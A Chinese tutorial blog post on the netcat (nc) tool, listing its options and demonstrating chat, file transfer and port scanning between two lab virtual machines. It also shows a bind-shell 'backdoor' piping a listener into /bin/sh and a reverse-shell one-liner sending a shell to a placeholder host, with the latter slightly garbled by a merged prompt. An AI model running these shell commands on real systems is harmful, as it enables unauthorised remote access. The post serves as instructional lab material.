51 nc

nc 命令简介

nc的全称为NetCat,它能够建立并接受传输控制协议(TCP)和用户数据报协议(UDP)的连接,Netcat可在这些连接上读写数据,直到连接关闭为止。它可以通过手工或者脚本与应用层的网络应用程序或服务进行交互。

nc 命令选项

1.参数

  • -4 使用IPv4地址。
  • -6 使用IPV6地址..
  • -D 开启debugging 在 socket.
  • -d 不尝试从stdin读取数据.
  • -h 查看帮助信息
  • -i 指定文本行发送和接收的延时时间. 也可以制造连接到多端口的延时.
  • -I 指定TCP接收缓冲区大小
  • -n 任何指定的地址,主机名或端口都不做任何DNS或服务解析.
  • -k 强制nc持续监听另一个连接直到它的连接完成. 没有 -l 选项是错误的.
  • -l 用于指定nc应该监听一个传入的连接,而不是连接到远程主机. 该选项不能与以下选项联合使用-p, -s, 或 -z 选项. 此外, 任何用-w选项指定的超时会被忽略.-
  • -p source_port 指定nc使用的源端口,受到权限和可用性的限制.
  • -r 指定源和/或目标端口随机选择而不是一个范围序列或系统分配的顺序.
  • -s source 指定源IP的接口用于发送数据包.
  • -u 使用UDP协议。
  • -V rtable 设置要使用的路由表. 默认是 0.
  • -v 使nc给出更详细的输出.
  • -w timeout 无法建立的或者闲置的连接在指定秒数之后超时. .
  • -z 指定nc只是扫描正在监听的守护进程,不发送任何数据. 不可和-l选项同时使用。
  • -q 指定客户端收到EOF之后退出的时间。
1、开启本地监听端口

本次实验我们使用两个虚拟机进行。我的两台虚拟机一台地址为192.168.125.128 ,另外一台为192.168.125.129。

在192.168.125.128 上面打开一个本地监听端口。

使用 -l 选项在本地创建一个监听端口。

root@ubuntu:~# nc -l -p 80

通过netstat -anpt 查看当前开放端口。

root@ubuntu:~# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      2215/nc         
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      653/cupsd       
tcp        0      0 0.0.0.0:8123            0.0.0.0:*               LISTEN      1150/sshd       
tcp        0     52 192.168.125.128:8123    192.168.125.1:54405     ESTABLISHED 2142/sshd: newer [p
tcp6       0      0 ::1:631                 :::*                    LISTEN      653/cupsd       
tcp6       0      0 :::8123                 :::*                    LISTEN      1150/sshd

在192.168.125.129 上面运行命令,连接到192.168.125.128 的80端口。

nc -nvv 192.168.125.128 80

输入想要输入的内容:

root@ubuntu:~# nc -nvv 192.168.125.128 80
Connection to 192.168.125.128 80 port [tcp/*] succeeded!
kjkjl
hello

在192.168.125.128 上面输出:

root@ubuntu:~# nc -l -p 80
kjkjl
hello

同时,在192.168.125.128 上面输入

root@ubuntu:~# nc -l -p 80
kjkjl
hello
dkajdkajdl

也会在192.168.125.129 上面获得输出:

root@ubuntu:~# nc -nvv 192.168.125.128 80
Connection to 192.168.125.128 80 port [tcp/*] succeeded!
kjkjl
hello
dkajdkajdl
nc传输文件

128:

先删除cats.txt , 然后打开80端口,将输出重定向至cats.txt

root@ubuntu:~# ls
1   1.txt  3.txt     herpets.txt  ip.txt  my.txt     pets.txt  web.txt
1n  2.txt  cats.txt  html.txt     link    nohup.out  pet.txt
root@ubuntu:~# rm cats.txt 
root@ubuntu:~# ls
1   1.txt  3.txt        html.txt  link    nohup.out  pet.txt
1n  2.txt  herpets.txt  ip.txt    my.txt  pets.txt   web.txt
root@ubuntu:~# nc -l -p 80 > cats.txt

129:

连接128 的80端口,并将cats.txt作为输入。

root@ubuntu:~# nc -nvv 192.168.125.128 80 < cats.txt 
Connection to 192.168.125.128 80 port [tcp/*] succeeded!

命令结束后查看128的cats.txt文件:

root@ubuntu:~# cat cats.txt 
This is my cat
  my cat's name is betty
This is my dog
  my dog's name is frank
This is my fish
  my fish's name is george
This is my goat
  my goat's name is adam

NC 绑定shell 做一个简单后门

128 :

通过nc 监听本地80 端口,然后管道给/bin/sh作为输入。

root@ubuntu:~# nc -l -p 80 | /bin/sh

129:
在129 上面连接128的80端口,就可以运行shell命令了。

  1. 先创建一个目录
root@ubuntu:~# nc -nvv 192.168.125.128 80 
Connection to 192.168.125.128 80 port [tcp/*] succeeded!
mkdir -p /home/nc
``
2. 查看128 上面的创建情况,文件夹创建成功。

root@ubuntu:~# ls /home/
nc newer


在Linux的大部分发行版中都默认编译了nc,但也许是出于安全考虑,发行版中默认编译的nc往往没有-e选项(没有define一个GAPING_SECURITY_HOLE常量),也就是说我们不能通过-e选项绑定目标的shell,使得我们在利用上受到限制。

root@bt:~#mknod /tmp/backpipe proot@bt:~#/bin/sh 0</tmp/backpipe | nc x.x.x.x listenport 1>/tmp/backpipe


#### 使用nc作为网络扫描

可以使用nc作为网络扫描器,扫描服务器的开放端口。

root@ubuntu:~# nc -zvv 192.168.125.128 8120-8125
nc: connect to 192.168.125.128 port 8120 (tcp) failed: Connection refused
nc: connect to 192.168.125.128 port 8121 (tcp) failed: Connection refused
nc: connect to 192.168.125.128 port 8122 (tcp) failed: Connection refused
Connection to 192.168.125.128 8123 port [tcp/*] succeeded!
nc: connect to 192.168.125.128 port 8124 (tcp) failed: Connection refused
nc: connect to 192.168.125.128 port 8125 (tcp) failed: Connection refused

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,922评论 6 497
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,591评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 160,546评论 0 350
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,467评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,553评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,580评论 1 293
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,588评论 3 414
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,334评论 0 270
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,780评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,092评论 2 330
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,270评论 1 344
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,925评论 5 338
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,573评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,194评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,437评论 1 268
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,154评论 2 366
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,127评论 2 352

推荐阅读更多精彩内容

  • 名词延伸 通俗的说,域名就相当于一个家庭的门牌号码,别人通过这个号码可以很容易的找到你。如果把IP地址比作一间房子...
    杨大虾阅读 20,596评论 2 57
  • Spring Cloud为开发人员提供了快速构建分布式系统中一些常见模式的工具(例如配置管理,服务发现,断路器,智...
    卡卡罗2017阅读 134,647评论 18 139
  • 本文整理了在实践过程中使用的Linux网络工具,这些工具提供的功能非常强大,我们平时使用的只是冰山一角,比如lso...
    老夫刘某阅读 3,519评论 0 7
  • 1、第八章 Samba服务器2、第八章 NFS服务器3、第十章 Linux下DNS服务器配站点,域名解析概念命令:...
    哈熝少主阅读 3,729评论 0 10
  • 我在街角经营着一家咖啡店,店面不大,有些不起眼,来往的大都是熟客或者朋友,勉强维持经营却也落得一个清闲。 店后面有...
    二非_阅读 1,250评论 27 39